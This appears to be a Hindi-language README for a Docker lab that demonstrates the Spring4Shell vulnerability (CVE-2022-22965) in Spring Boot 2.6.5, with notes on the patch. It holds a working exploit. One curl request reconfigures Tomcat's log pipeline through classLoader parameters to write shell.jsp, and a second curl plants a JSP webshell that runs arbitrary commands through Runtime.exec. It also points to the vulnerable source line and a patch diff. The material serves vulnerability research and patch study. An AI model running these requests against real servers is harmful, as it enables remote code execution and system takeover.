
# CVE-2022-22965 (Spring4Shell) के लिए Docker-आधारित प्रूफ-ऑफ-कॉन्सेप्ट Spring Boot 2.6.5 में रिमोट कोड एक्ज़ीक्यूशन भेद्यता के लिए Docker-आधारित प्रूफ-ऑफ-कॉन्सेप्ट, जिसमें स्वचालित वेबशेल तैनाती और पैच तुलना शामिल है।
CVE-2022-22965 के लिए Spring Boot संस्करण 2.6.5 के साथ Docker PoC

docker compose up --build चलाएँ।curl -H "Accept: text/html;" "http://localhost:8080/demo/itsecurityco?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%63%6f%64%65%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" चलाएँ।curl -H "Accept: text/html;" -H "code: <% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(String.valueOf(1337))).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1) { out.println(new String(b)); } %>" "http://localhost:8080/demo/x" चलाएँ।Spring Framework 5.3.17 (कमजोर) और Spring Framework 5.3.18 (पैच किया गया) का स्रोत कोड क्रमशः निम्न से डाउनलोड किया जा सकता है:
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip
यह कमजोरी /spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java फ़ाइल की पंक्ति 290 में पाई जाती है, जहाँ Class.getClassLoader() और getProtectionDomain() विधियों के लिए सत्यापन लागू किया गया है, लेकिन ClassLoader, ProtectionDomain प्रकारों और PropertyDescriptors नामों के लिए नहीं।
कमजोर कोड और पैच किए गए कोड के बीच का अंतर diff कमांड से प्राप्त किया जा सकता है।
$ diff spring-framework-5.3.17/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java spring-framework-5.3.18/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java
